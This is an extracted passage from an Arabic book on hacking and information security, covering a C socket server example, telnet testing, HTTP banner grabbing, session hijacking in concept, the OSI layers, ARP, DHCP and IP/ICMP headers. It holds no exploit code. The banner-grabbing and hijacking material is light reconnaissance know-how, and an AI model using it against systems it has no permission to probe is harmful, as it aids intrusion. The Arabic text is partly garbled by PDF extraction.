‫‪ ‬ويف السطر الثاين ال ‪ port‬وذو ‪ ،6900‬الحظ استخدام ال ‪ function‬التي َست َُح ِّول ُه من ال ‪ host‬لىل ال‬

‫"‪ ،"network byte order‬من نوع ‪ ،short‬أي ‪.16 bits‬‬

‫‪ُ ‬ثم يف السطر الثالث ُقلنا َل ُه بأن ُ‬


‫يأطذ ال ‪ IP Address‬احلايل اخلاص َِبذا اجلهاز‪.‬‬

‫‪Networking‬‬
‫]‪[142‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ َس َيتم َمألذم بال‬،8 bytes ‫ وذم‬Address Structure ‫ ُثم أطري ًا يف السطر الرابع َسنقوم بإكامل باقي ال‬

.‫ كام أوضحنا سابق ًا‬padding

host_addr.sin_family = AF_INET; // Host byte order


host_addr.sin_port = htons(PORT); // Short, network byte order
host_addr.sin_addr.s_addr = 0; // Automatically fill with my IP.
memset(&(host_addr.sin_zero), '\0', 8); // Zero the rest of the struct.

“bind( )” ‫ُثم نأيت لىل ال‬


if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct
sockaddr)) == -1)
fatal("binding to socket");
:‫وتقوم باآليت‬
It is used on the server side, and associates a socket with a socket address structure, a specified
local port number (in our case 6900), and IP address.

ُ
:‫ كامييل‬Arguments ‫ جمموعة من ال‬function ‫تأطذ ذذه ال‬
.socket ‫ اخلاص بال‬file descriptor ‫ أوهلا ال‬

‫ ل ُه لىل ال‬typecasting ‫ الحظ أننا ُقمنا ب َع َمل‬،address structure ‫ الثانية َوذ َي ال‬Argument ‫ ُثم ال‬

َ ‫ت ََذكر املثال الذي ََضبنا ُه ب ُم‬.. "general address structure"


‫ عندَ ما‬IPv4 address structure ‫قارنة ال‬

."Generic structure" ‫أسقطنا ُه عىل ال‬

“the length of the address structure ” ‫ الثالثة وذ َي‬Argument ‫ ُثم ال‬

Networking
[143]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

َ ‫ أي َط‬،backlog queue ‫ يف‬incoming connections ‫ لتَقوم ب َوضع ال‬listen( ) ‫وتأيت بعدذا‬


‫لف بعضهم بشكل‬
5 ‫“ التي تَستَقبلها ب‬connections”‫ وقد تم حتديد احلد األقىص لل‬،‫ُمتتابع‬

if (listen(sockfd, 5) == -1)
fatal("listening on socket");
.connections ‫ ب ُقبول َذذه ال‬accept( ) ‫ُثم تَقوم ال‬

:‫ كام بالكود باألسفل‬connections ‫ وذي التي َستَستَقبل ال‬function ‫واآلن جاء دور آطر‬
.True ‫ ُذنا َيعني‬1 ‫قالعدد‬.. while(1):‫نُالحظ ذذا الرشط‬

.‫ ذل َتت ََذكر ال َس َبب؟‬،‫ َجديد‬fd ‫واستَخدَ منا‬


Server ‫ اخلاص بال‬IP address ‫ لال أننا سنستبدل ال‬bind( ) ‫ قهي تشبه ال‬،‫ عملها‬accept( ) ‫ستبدأ ال‬

.client ‫ اخلاص بال‬IP Address ‫بال‬


So.. the return from accept( ) function is new file descriptor “new_sockfd” for the accepted
connection. As follows:

while(1) {
sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr,
&sin_size);

if(new_sockfd == -1)
fatal("accepting connection");

،"ASCII dotted notation" ‫ بصيغة ال‬client ‫ اخلاص بال‬IP Address ‫ لتَطبَع َلنا ال‬printf( ) ‫َسنَستَخدم دالة‬

Networking
[144]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫ كام ييل‬.client ‫ اخلاص بال‬port number ‫َمتبوع ًا بال‬

printf("server: got connection from %s port %d\n",


inet_ntoa(client_addr.sin_addr),
ntohs(client_addr.sin_port));

:‫ وذي تنتمي هلذه العائلة‬،send( ) ‫ثم تأيت‬

send() and recv(), or write() and read(), or sendto() and recvfrom(),


They are used for sending and receiving data to/from a remote socket.

،‫ كام يظهر باألسفل‬13 bytes ‫ ُمكَونة من‬،connection ‫ قور نجاح ال‬client ‫ لىل ال‬string ‫ بإرسال‬Server ‫سيقوم ال‬
.‫ قمنا بوضع قيمت ُه بصفر‬،flags ‫ ذو ال‬function ‫ هلذه ال‬argument ‫آطر‬
send(new_sockfd, "Hello, server\n", 13, 0);

receive( ) ‫ثم يأيت دور ال‬

.buffer ‫ منها ال‬،Arguments ‫ حيث تستقبل أكثر من‬،client ‫ من ال‬strings ‫لتستقبل ال‬

‫؟‬buffer ‫ذل تذكُر ذذا ال‬

:‫ ُي َع ِّرب عن اآليت‬Buffer ‫ ذذا ال‬،1024 ‫ وحددنا حجم ُه‬،‫لقد َعرقنا ُه يف بداية الربنامج‬
“The maximum length to read from the socket”
.(0) ‫ وكالعادة َو َضعنا به‬flags ‫ تستقبله طاص بال‬Argument ‫وآطر‬

Networking
[145]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

.integer ‫ونوعه‬ ،recv_length ‫ وذو‬،‫ َلنا َبعدَ انتهائها‬return ‫ بإرجاع‬function ‫تقوم َذذه ال‬
recv_length = recv(new_sockfd, &buffer, 1024, 0);

:Loop ‫ُثم يأيت دور ال‬

.‫ املُس َت َل َمة‬bytes ‫وذو عَدَ د ال‬ recv_length ‫باعة ما بداطل َذذا ال‬
َ ‫َسنَقوم بط‬
while(recv_length > 0) {
printf("RECV: %d bytes\n", recv_length);

..‫ التي رشحناذا ُمسبق ًا‬dump( ) ‫ويف اخلتام يأيت َدور ال‬
:Arguments ‫قتستقبل ذذه ال‬
dump(buffer, recv_length)
.‫ عىل ال َيمني‬printable data ‫ وال‬،‫ عىل ال َيسار‬Hex ‫ بصي َغة ال‬data ‫كي يتسنى هلا َعرض ال‬

while(recv_length > 0) {
printf("RECV: %d bytes\n", recv_length);
dump(buffer, recv_length);
recv_length = recv(new_sockfd, &buffer, 1024, 0);
}
close(new_sockfd);
}
return 0;
}

.‫ واآلن سيأيت دور التجربة‬،‫لقد وصلنا لىل هناية رشح ذذا الكود‬

Networking
[146]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

..‫لن َُج ِّرب ذذا الكود‬

root@server:~/booksrc $ gcc server.c


root@server:~/booksrc $ ./a.out

‫ ن ََج َح‬..‫ كام نُشاذد‬.client ‫ لالتصال من ال‬telnet ‫ نستخدم ال‬،server ‫سنقوم بتَجر َبة اإلتصال من جهاز آطر ِبذا ال‬
‫ قأرسلنا له عبارة‬،client ‫ ال‬،‫ ُثم جا َء دورنا نحن‬،“Hello, server” ‫ذي‬.. string ‫ وقا َم السريقر بإرسال‬،!‫االتصال‬

ُ ‫ ُثم كتبنا‬،“this is test”


.dump( ) ‫أحرف َعشوائية لن ََرى ما َسيَنتُج يف ال‬

root@client:~ $ telnet 192.168.18.128 6900


Trying 192.168.18.128...
Connected to 192.168.18.128.

Escape character is '^]'.


Hello, server
this is a test
fjsghau;ehg;ihskjfhasdkfjhaskjvhfdkjhvbkjgf

:Server ‫ذيا نُشاذد َمع ًا ما َحيدُ ث يف َط َرف ال‬

Networking
[147]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪root@server:~/booksrc $ ./a.out‬‬
‫‪server: got connection from 192.168.18.131 port‬‬ ‫‪56971‬‬
‫‪RECV: 16 bytes‬‬
‫‪74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a‬‬ ‫‪| This is a test...‬‬
‫‪RECV: 45 bytes‬‬
‫‪66 6a 73 67 68 61 75 3b 65 68 67 3b 69 68 73 6b‬‬ ‫‪| fjsghau;ehg;ihsk‬‬
‫‪6a 66 68 61 73 64 6b 66 6a 68 61 73 6b 6a 76 68‬‬ ‫‪| jfhasdkfjhaskjvh‬‬
‫‪66 64 6b 6a 68 76 62 6b 6a 67 66 0d 0a‬‬ ‫‪| fdkjhvbkjgf...‬‬

‫لىل ُذنا نَكون َقد َو َصلنا لىل هنا َية َذذا املثال‪.‬‬
‫سننتقل للحديث عن بعض املفاذيم املتعلقة بال ”‪.“OSI Layers‬‬

‫‪The Browser‬‬

‫عندما نقوم بتَص ُّفح اإلنرتنت باستخدام أي متصفح )‪ (browser‬باستثناء ال ”‪َ .. “Internet Explorer‬ق َهذا يعني‬
‫ُ‬
‫حيث نتعامل مع بروتوكول كال ‪،HTTP‬‬ ‫أننا نقع يف أعىل ال ‪ OSI Layers‬وذي ال ‪،Application Layer‬‬

‫وذو من الربوتوكوالت املستخدمة يف عملية التواصل بني ال ‪ browser‬و ال ‪ web servers‬املختلفة‪ ،‬قهو يقوم بعمل‬
‫‪ request‬للصفحة التي تريدذا أنت من ال ‪ ،web server‬الذي بدوره ينتظر ال ‪ connections‬من ال ‪ browsers‬وذي‬
‫ال )‪ (Clients‬عىل ال ‪.port 80‬‬

‫نحن باستخدام ا ُملتص ِّفح قيكون ال ‪ port‬اخلاص بنا ”‪َ “Local Port‬حيمل‬ ‫سنتوقف قلي ً‬
‫ال عند ال ‪ ..Ports‬عندما نتصل ُ‬
‫رقم عشوائي أعىل من ‪ ،1023‬وينتظر ال ‪ Server‬ال ‪ Connection‬منا عىل ال ‪ Port‬اخلاص به ذو‪ ..‬ورقمه )‪.(80‬‬

‫نُسميه ”‪ “Remote Port‬بالنسبة لنا‪.‬‬

‫‪Networking‬‬
‫]‪[148‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

.1024 ‫“ ذو‬Remote Port” ‫( ويكون ال‬80) ‫“ ذو‬Local Port” ‫ سيكون ال‬..Server ‫نحن ال‬
ُ ‫ولذا كنا‬
‫ اخلاص‬protocol version ‫ ُثم بال‬،‫ َمتبوع با َملسار اخلاص بالصفحة‬Get ‫ َحيدُ ث بأمر ُيسمى‬request ‫ذذا ال‬..‫املهم‬
‫ ع َبارة عن‬،Headers ‫ َيسبقها َبعض ال‬،‫ التي تُريد‬content ‫ لك بال‬respond ‫ ب َع َمل‬server ‫ ُثم َيقوم ال‬.HTTP ‫بال‬
.. .Server ‫بعض ا َملعلومات اخلاصة بال‬

:‫تأمل معي َذذا املثال‬


‫ ال نُريد‬..‫ اخلاصة به‬Headers ‫ أن ُيرسل َلنا ال‬Server ‫ ألننا نُريد ققط من ال‬Get ‫ َبدَ الً من‬Head ‫ُقمنا باستخدام األمر‬
.!‫حتميل الصفحة اآلن‬

reader@hacking:~/booksrc $ telnet www.internic.net 80


Trying 208.77.188.101...
Connected to www.internic.net.
Escape character is '^]'.
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 14 Sep 2007 05:34:14 GMT
Server: Apache/2.0.52 (CentOS)
Accept-Ranges: bytes
Content-Length: 6743
Connection: close
Content-Type: text/html; charset=UTF-8

Connection closed by foreign host.


reader@hacking:~/booksrc $

.“hosted on web server called Apache” ‫كام نرى قهو ُخيربنا أن ذذا املوقع‬

Networking
[149]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ونوع نظام التشغيل ذو ‪ ،CentOS‬وذي توزيعة من توزيعات ‪.Linux‬‬


‫ذذا ال (‪ )HTTP‬ال ُيستخدَ م يف ال ‪ sessions‬مثل ال ‪ Logins‬أو ال ‪ ،E-payment‬أو أي ‪ُ session‬مهمة‪ ،‬بل ُيس َتخدَ م‬
‫ال (‪ )HTTPS‬لذلك!‪ ،‬ويعني ”‪ ،“HTTP over SSL or over TLS‬أو ”‪ ،“HTTP Secure‬الفرق ُذنا أننا يف ذذا‬
‫النوع من ال ‪ sessions‬سنقوم بتشفري البيانات املارة بني ال ‪ browser‬و ال ‪ Web Server‬أو ال ‪ Mail Server‬عىل‬
‫سبيل املثال‪ ،‬باستخدام بروتوكول ال ‪ SSL‬أو ال ‪ .TLS‬سنتعرض يف الباب الرابع لربوتوكول ال ‪ SSL‬بمزيد من‬
‫التفصيل‪.‬‬

‫تقوم بعض املواقع بتفعيل ال ‪ HTTPS‬يف أول ‪ Session‬وذي ال ‪ ،Login‬ثم تعود لتتعامل بال ‪ HTTP‬مر ًة أطرى‬
‫باعتبار أن ال ‪ Sessions‬التي تليها ليست ذات أمهية بقدر ال ‪ ،Login‬قانترش نوع من اهلجامت ا ُملندَ رج حتت ال‬
‫أحدذم لتنتهي من ال ‪ُ Secured Login‬ثم يأيت ل َيقفز عىل ال ‪ Sessions‬التي تليها‬
‫‪ Session Hijacking‬بأن َينتَظ ُرك َ‬
‫ُسجل الدطول يف ُمنتدى قسينتظر عملية‬
‫ال لذا كنت ت ِّ‬ ‫َح ُ‬
‫يث َيتَعا َمل حينها بروتوكول ال ‪ HTTP‬الغري آمن!‪ ،‬قمث ً‬
‫تسجيل الدطول‪ُ ،‬ثم َيقوم ب َع َمل ال "‪ "Session Riding‬و ُيمكنُ ُه حينها التَعا ُمل بال ‪ Account‬اخلاص بك‪.‬‬
‫تقوم ‪ Google‬عىل سبيل املثال بتفعيل ‪ HTTPS‬عىل مجيع طدماهتا بدء ًا بتسجيلك للدطول وحتى تسجيل طروجك‪.‬‬
‫تتناول األمور ا ُملتع ِّلقة با ُملتَص ِّفحات وأساليب احلامية من اهل َ َجامت الواق َعة عليها مثل ال‬
‫يوجد العديد من املصادر التي َ‬
‫‪ XSS‬وغريذا‪..‬‬

‫قمنا بالتعرض ألنواع ذجامت ال ‪ XSS‬بيشء من التفصيل يف ال ‪ Appendix‬املوجودة يف آطر الكتاب‪ ،‬يمكنك‬
‫مراجعتها‪.‬‬

‫‪Networking‬‬
‫]‪[150‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪The Big Picture‬‬

‫ال خيلو أي منزل اآلن من أي ‪ُ device‬ي َمكِّن لصاحبه من دطول اإلنرتنت!‪ ،‬قاالنرتنت أصبح يشء أسايس وبدهيي يف‬
‫فرة يف حياتنا!‪.‬‬ ‫حرتم ”‪!“Google‬؟‪ ،‬ق َقد َأح َ‬
‫دث َلنا َط َ‬ ‫حياتنا‪َ ،‬ق َمن منّا غري ُُمتَن للس ِّيد ا ُمل َ َ‬
‫وبام أننا َسنَهتَم باحلديث عن ّش َبكات احلاسب‪ ،‬قسنقوم بإجراء ُمراجعة َِسيعة ملا َجيري داطل ال ‪.OSI Layers‬‬
‫لنفرض أنك تقوم بتص ُّفح االنرتنت باستخدام ال ‪ ،browser‬أنت اآلن تتعامل مع ال ‪ Layer 7‬وذي ال ‪،App Layer‬‬

‫ربام تتفقد بريدك اإللكرتوين‪ ،‬قتستخدم حينها بروتوكول ال ‪ SMTP‬مع ال ‪ POP3‬مع ًا‪ ،‬أو ُربام تتجول داطل ال‬
‫‪ Google+‬بحسابك الشخيص‪ ،‬قتكون حينها تستمتع بالتصفح اآلمن باستخدام بروتوكول ال ‪ ،HTTPS‬أو ربام تقوم‬
‫بعمل ‪ Upload‬لبعض امللفات ألحد املواقع قتكون حينها تستخدم بروتوكول ال ‪... ،FTP‬الخ‪.‬‬

‫ذذه األمور كي حتدث البد من قتح ‪ Sockets‬مع ال ‪ ،end points‬يتم ذلك يف ال ‪ Session Layer‬قهي املسؤولة عن‬
‫ربذا ال ‪َ .data‬ذذه ال ‪ interface‬أو ال ‪َ Socket‬ستحتاج َأن تعتَمد عىل‬
‫توقري ال ‪ interface‬التي َسنُرسل أو نَستَقبل َع َ‬
‫بروتوكول لتَوصيل ال ‪ data‬ذذه‪ ،‬أليس كذلك؟‬
‫الذم َي َقع يف ال ‪ ،Transport Layer‬لهنا ال َط َب َقة التي تَيل‬
‫ذذا الربوتوكول سيكون لما ‪ TCP‬أو ‪ ،UDP‬وك ُ‬
‫ال ‪.. Session Layer‬‬
‫ولكن لكي ُيكمل ذذا ال ‪َ TCP‬ع َمل ُه‪ ،‬قسيحتاج ليصال ال ‪ Data‬لىل ال ‪ُ ،Destination‬معتمد ًا بذلك عىل‬
‫ال ‪ ،Layer 3‬وذي ال ‪.Network Layer‬‬

‫‪Networking‬‬
‫]‪[151‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫واآلن لنَفرض أن ذذه ال ”‪ “Destination End Point‬عبارة عن جهاز يقع يف شبكة حملية‪،‬‬
‫عمل ك ‪ ،Gateway‬و ‪ Switch‬يربط األجهزة بالشبكة‪،‬‬
‫)‪ ،LAN (Local Area Network‬بالطبع سيكون ِبا ‪َ router‬ي َ‬
‫جيد‪ُ ..‬نود ليصال ذذه ال ‪ packet‬هلذا اجلهاز!‪ ،‬وذو متصل بال ‪ Switch‬عن طريق ال ‪.network cable‬‬

‫حسن ًا‪..‬‬
‫عندما تَصل ال ‪ packet‬لىل ال ‪ router‬وتذذب لىل ال ‪ switch‬ستنتهي حينها ُمهمة ال ‪ ،Layer 3‬وتبدأ ُمهمة ال‬
‫‪ Layer 2‬وذي ال ‪ ،Data-Link Layer‬ستقوم ذذه الطبقة بإيصال ال ”‪ “frame‬لىل ذذا اجلهاز باستخدام ال ‪Link‬‬

‫‪ ، Layer Protocols‬وينقل ال ‪ cable‬ذذا ال ‪ frame‬عىل ذيئة ‪ bits and bytes‬ألن ُه ُيم ِّثل ال )‪(Physical Layer‬‬
‫‪ ،Layer 1‬ذذا ما ُيسمى بال ”‪ “Service Block‬كام أطربتُك سابق ًا‪ ،‬وذو اعتامدية كل طبقة عىل األطرى لتكتمل‬
‫عملية ال ‪ Communications‬بني األنظمة‪.‬‬

‫سنقوم بتسليط الضوء قلي ً‬


‫ال عىل كل من (‪ )Layer 2, 3, and 4‬ألمهيتهم يف املرحلة القادمة‪ .‬لذا كانت لديك معرقة ال‬
‫بأس ِبا بال ‪ OSI Model‬ق ُيمكنك جتاوز الثالث ققرات القادمة‪.‬‬

‫)‪Layer 2 (Data-Link‬‬

‫ُ‬
‫سنأطذذا بيشء من‬ ‫كُنا قد تكلمنا عن ذذه ال ‪ Layer‬يف بداية ذذا الفصل بينام كُنا نُوضح ال ‪ ،OSI Model‬واآلن‬
‫التفصيل‪ .‬كام أرشنا سابق ًا بأن برتوكول ال ‪ Ethernet‬يتواجد يف ذذه الطبقة‪ ،‬قام ذي وظيفته؟‬

‫‪Networking‬‬
‫]‪[152‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ذذا ال ‪device‬‬ ‫ألي جهاز يريد أن يدطل لىل الشبكة قالبد أن يمتلك ‪ NIC‬وذو كارت الشبكة‪،‬‬
‫حينها سيمتلك عنوان طاص به‪ ،‬ال يتشابه مع أي عنوان آطر‪ ،‬يطلق عليه ‪ Physical Address‬أو ال‬
‫)‪ ،MAC (Media Access Control‬يتكون ذذا ال ‪ address‬من ‪ 6 bytes‬يظهر بصيغة ال ‪.Hex‬‬
‫كام ييل‪:‬‬
‫‪xx:xx:xx:xx:xx:xx‬‬
‫تقوم ال ‪ Data-Link Layer‬بتوصيل ال ‪ frames‬من جهاز لىل آطر داطل نفس ال ‪.Broadcast Domain‬‬

‫ولكن ماذا لن أراد أحد األجهزة داطل الشبكة لرسال ‪ packet‬لىل جهاز يقع طارج الشبكة؟‬
‫ٍ‬
‫جهاز ما يف الشبكة عىل ال ‪ IP‬اخلاص به‬ ‫دعني يف البداية أحتدث معك عن بعض األساسيات املتعلقة بكيفية حصول‬
‫ُ‬
‫حيث‬ ‫عن طريق ال ‪ DHCP Server‬ووظيفة بروتوكول ال ‪ ARP‬يف ذذه العملية‪ .‬سنقوم بتوصيل جهاز بالشبكة‬
‫يوجد ِبا ‪..DHCP Server‬‬

‫لنشاذد كيف سيتلقى ذذا اجلهاز ال ‪ IP‬اخلاص به‪ .‬قهذا اجلهاز ال يمتلك ‪ IP‬بعد!‪ ،‬ذو ققط يمتلك ‪..MAC‬‬

‫قسيحدث سيناريو مشابه ملا يف الشكل التايل‪:‬‬

‫‪Optaining an address‬‬

‫‪Networking‬‬
‫]‪[153‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Broadcast‬‬ ‫يقوم اجلهاز بإرسال‬


‫داطل الشبكة حيث يكون ال‬
‫‪Source port: 68‬‬
‫‪Destination port: 67‬‬

‫‪ ‬وملاذا ذذا ال ‪ Port 67‬؟‬

‫ألن ال ‪ DHCP Server‬يستقبل‬


‫ال ‪ connections‬عليه!‪ .‬قيقوم ال‬
‫‪ DHCP‬بإرسال ال ‪ IP‬املقرتح‬
‫هلذا اجلهاز‪.‬‬

‫‪ ‬وماذا بعد استالم ال ‪ IP‬من‬


‫ال ‪Server‬؟‬
‫بعد أن يستلم اجلهاز ال ‪ IP‬اجلديد‬
‫من ال ‪ DHCP‬قلن يستخدمه عىل‬
‫الفور!‪ ،‬سيقوم بالتأكد أوالً من أنه‬
‫غري ُمعطى ألي جهاز آطر عىل‬
‫سريسل ذذا اجلهاز‬
‫الشبكة‪ ،‬حينها ُ‬
‫‪ (Gratuitous ARP) Packet‬لألجهزة يف‬

‫‪Networking‬‬
‫]‪[154‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫الشبكة بأنه يريد استخدام ذذا ال ‪ ،IP‬قإن كان أحد األجهزة يمتلك ذذا ال ‪ IP‬بالفعل! قسيقوم بإرسال‬
‫‪ ،"already in use" ARP packet‬حينها سيقوم ذذا اجلهاز بمحادثة ال ‪ DHCP Server‬مر ًة أطرى ليطلب منه‬
‫‪ُ IP‬متلف‪ ،‬وذكذا حتى يثبُت األمر‪.‬‬

‫يظهر يف الشكل ال ‪ARP Packet‬‬

‫ُيرسلها اجلهاز لىل الشبكة ليتأكد من‬


‫سالمة ال ‪ IP‬اجلديد‪.‬‬

‫‪ARP Messages‬‬

‫واآلن‪ ..‬سنتكلم عن نوعني من ال‬


‫‪ ARP messages‬وذم‪:‬‬
‫”‪“ARP request and reply‬‬
‫ذذا ال ‪ARP request or reply‬‬

‫يسري يف الشبكة مثله مثل بقية ال‬


‫‪.frames‬‬
‫قكيف لنا أن نُصنف ُه عن بقية ال ‪ frames‬األطرى؟‪.‬‬
‫نعم‪ ..‬يقع يف ال ‪ Header‬هلذا ال ‪ frame‬أو ال ‪ Ethernet‬طانة تعرب عن نوع ذذا ال ‪ Ethernet‬ما لذا كان ‪ARP-type‬‬

‫أو ‪ .IP-packet‬سنأيت لليه بمزيد من التفصيل الحق ًا يف الباب الثالث‪.‬‬

‫‪Networking‬‬
‫]‪[155‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫الشكل يوضح ال ‪ ،ARP request and reply‬يبدو أن ‪ PC1‬ال يمتلك ال ‪ MAC‬املقابل لل ‪IP 192.168.100.102‬‬

‫يف ال ‪ ARP Cache‬لديه!‪ ،‬وبالتايل لن يستطيع اإلتصال به‪ ،‬قيقوم بإرسال ‪ ARP Request‬لىل ال ‪ switch‬ليستعلم‬
‫عن ذذا ال ‪ ،MAC‬يستقبل ال ‪ Switch‬ذذا ال ‪ ARP request‬ويقوم بعمل ‪ flood‬له من مجيع ال ‪ ports‬باستثناء ال‬
‫‪ port‬الذي أتى منه ذذا ال ‪ ،request‬ذنا س ُيهمل مجيع األجهزة ذذه الرسالة باستثناء اجلهاز الذي حيمل ذذا ال ‪IP‬‬

‫‪ ،192.168.100.102‬قيقوم بالرد ُمرسالً ‪ ARP reply msg‬لىل ال ‪ switch‬الذي يقوم بدوره بربط ذذا ال ‪MAC‬‬

‫اجلديد بال ‪ port‬الذي جاء منه ذذا ال ‪ ،reply‬ثم يقوم بإرساهلا لىل اجلهاز الذي طلب ذذا ال ‪ ،MAC‬ذذا اجلهاز‬
‫)‪ (PC1‬لديه ‪ ARP Cache‬يضع ِبا عناوين األجهزة التي معه يف الشبكة وال ‪ MAC Addresses‬املناظرة هلا‪ .‬قيقوم‬
‫بعمل ‪ Update‬هلذا ال ‪ table‬لديه‪.‬‬

‫‪Networking‬‬
‫]‪[156‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Sending Packet outside domain‬‬

‫نأيت لىل السؤال الذي طرحناه يف البداية!‪ ..‬ماذا لن أراد أحد األجهزة لرسال ‪ packet‬لوجهة ما طارج ال ‪ Subnet‬؟؟‪.‬‬

‫عندما يرغب ‪ PC1‬بإرسال ‪ packet‬لىل ‪ PC3‬قإنه لن يرسل ‪ ARP Request‬ليستعلم عن ال ‪ MAC‬اخلاص به‪،‬‬
‫ألنه يعلم أن ذذا ال ‪ PC‬يعد ‪ ..unreachable‬يقوم عوض ًا عن ذلك باستخدام ال ‪ ARP‬لعمل ‪ MAP‬لل‬
‫)‪ (Gateway IP: 192.168.1.254‬لىل ال ‪ MAC‬املقابل له ‪ ،00-00-0C-00-01‬ويتعامل عىل أنه ذو ال ‪Distination‬‬

‫‪ MAC‬مع اإلبقاء عىل ال )‪ (Dist. IP: 192.168.2.1‬وذو عنوان ‪ .PC3‬وعندما يصل ال ‪ frame‬لىل ال ‪ router‬يقوم‬
‫بتسليمه لىل ال ‪ Network Layer‬حيث يتم لزالة ال ‪ MAC‬منها والبحث يف ال ‪ forwarding table‬لدى ال ‪router‬‬

‫عن ال ‪ interface‬التي ينتمي لليها ذذا ال ‪ IP‬اخلاص باجلهاز ‪ ،PC3‬ويستخدم ال ‪ router‬بروتوكول ال ‪ ARP‬أيض ًا‬

‫‪Networking‬‬
‫]‪[157‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫لعمل ‪ MAP‬هلذا ال ‪ IP‬لىل ال ‪ MAC‬املقابل له ثم يرسل ال ‪ packet‬لىل ال ‪ switch‬الذي يقوم بدوره بالبحث يف ال‬
‫‪ CAM table‬لديه عن ال ‪ Port‬املقابل لل ‪ MAC‬اخلاص بال ‪ PC3‬ثم يرسل ال ‪ frame‬من ذذا ال ‪.port‬‬

‫)‪Layer 3 (Network‬‬

‫ذذه الطبقة التي تُقدم لنا طدمات ال ‪ Addressing and Delivery‬بشكل عام‪ ،‬حتدثنا عنها يف بداية ذذا الباب قليالً‪،‬‬
‫لكننا بحاجة لذكر بعض اخلصائص ا ُملتعلقة ِبا حلاجتنا هلا يف الباب القادم‪.‬‬

‫ماذا يعني مصطلح ‪ TCP/IP‬؟‪ ،‬لنه خيترص ذذه العبارة‪:‬‬


‫”)‪“The use of Transmission Control Protocols (at Layer 4) over Internet Protocols (at Layer 3‬‬
‫تكلمنا عن ال ‪ Header‬الذي تقوم بإضاقته كل طبقة لىل ال ‪ Packet‬وذو عبارة عن التفاصيل اخلاصة ِبذه ال‬
‫‪.Packet‬‬
‫سنتكلم قلي ً‬
‫ال عن ذذا ال ‪..IP Header‬‬

‫‪IP Header‬‬

‫ذذا الشكل يوضح ال ‪ ،IPv4 Header‬وتبلغ مساحته ‪ 20 bytes‬بدون ال ‪Options‬‬

‫‪Networking‬‬
‫]‪[158‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

ٍ ‫ يشري لىل‬Field ‫ كُل‬..‫كام ترى‬


:‫ سنوضح لك بعض ًا منها‬،‫يشء ما‬ ُ

Version: These 4 bits specify the IP protocol version of the datagram, here it is IPv4.

Total Length: This is the total length of the IP datagram (header plus data),
measured in bytes.

Identifier, flags, fragmentation offset: These three fields have to do with so-called
IP fragmentation "‫"سنتكلم عن ذذه اخلاصية بعد قليل‬

Time-to-live: to ensure that datagrams do not circulate forever, this field is decremented by one
each time the datagram is processed
by a router. If the TTL field reaches 0, the datagram must be dropped.

Protocol: indicates the specific transport-layer protocol, For example, a


value of 6 indicates that the data portion is passed to TCP, while a value of 17
indicates that the data is passed to UDP.

Networking
[159]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ لىل ال‬Packet ‫ يف عملية التوصيل حيث ال يضمن لك بالضبط وصول ال‬Less Reliable ‫ ُيعتَرب‬IP ‫ ال‬،‫وبا ُملناسبة‬
‫ لإلبالغ عن أي طلل حيدث أثناء عملية‬ICMP Packets ‫ نستخدم ال‬،ICMP ‫ ولذلك ظهرت قائدة ال‬.destination
ً ‫ قمث‬،Packet ‫ سيتم حتديد نوع ال‬Protocol ‫ اخلاص بال‬Field ‫ الحظ أنه يف ال‬،‫اإلرسال أو االستقبال‬
‫ال لو كانت‬
.ICMP ‫ حيث يعرب عن بروتوكول ال‬1 ‫ رقم‬field ‫ سيحوي ذذا ال‬ICMP msg
‫ ونستخدم نوعني شهريين‬،‫ قيام بينهم‬Test Connectivity ‫ لعمل‬Hosts ‫ بشكل أسايس بني ال‬ICMP ‫ُيستخدم ال‬
Echo Reply ‫ و‬Echo Request ‫ ذم ال‬ICMP Packets ‫من ال‬

messages ‫“ سأعرض لك بعض ال‬Ping” ‫ باستخدام برنامج صغري ُيسمى‬reply ‫ و‬request ‫نقوم بتنفيذ ذذا ال‬

:‫الشائعة الظهور هلذا الربوتوكول‬


Type Code Description
0 – Echo Reply 0 Echo reply (used to ping)
0 Destination network unreachable
1 Destination host unreachable
3 – Destination 2 Destination protocol unreachable
Unreachable 3 Destination port unreachable
4 Fragmentation required, and DF flag set
5 Source route failed

Networking
[160]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:ICMP msg type 3 ‫وذذا مثال بسيط يوضح ال‬

IP Fragmentation

ُ
‫ املسموح هلا باإلنتقال بني‬Packet ‫حيث تعني أكرب حجم لل‬ "Maximum Transmission Unit" ‫ ذي ال‬MTU ‫ال‬

.Hosts ‫ال‬
The maximum transmission unit (MTU) is the size of the largest network layer protocol data
unit that can be communicated in a single network transaction.

Networking
[161]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

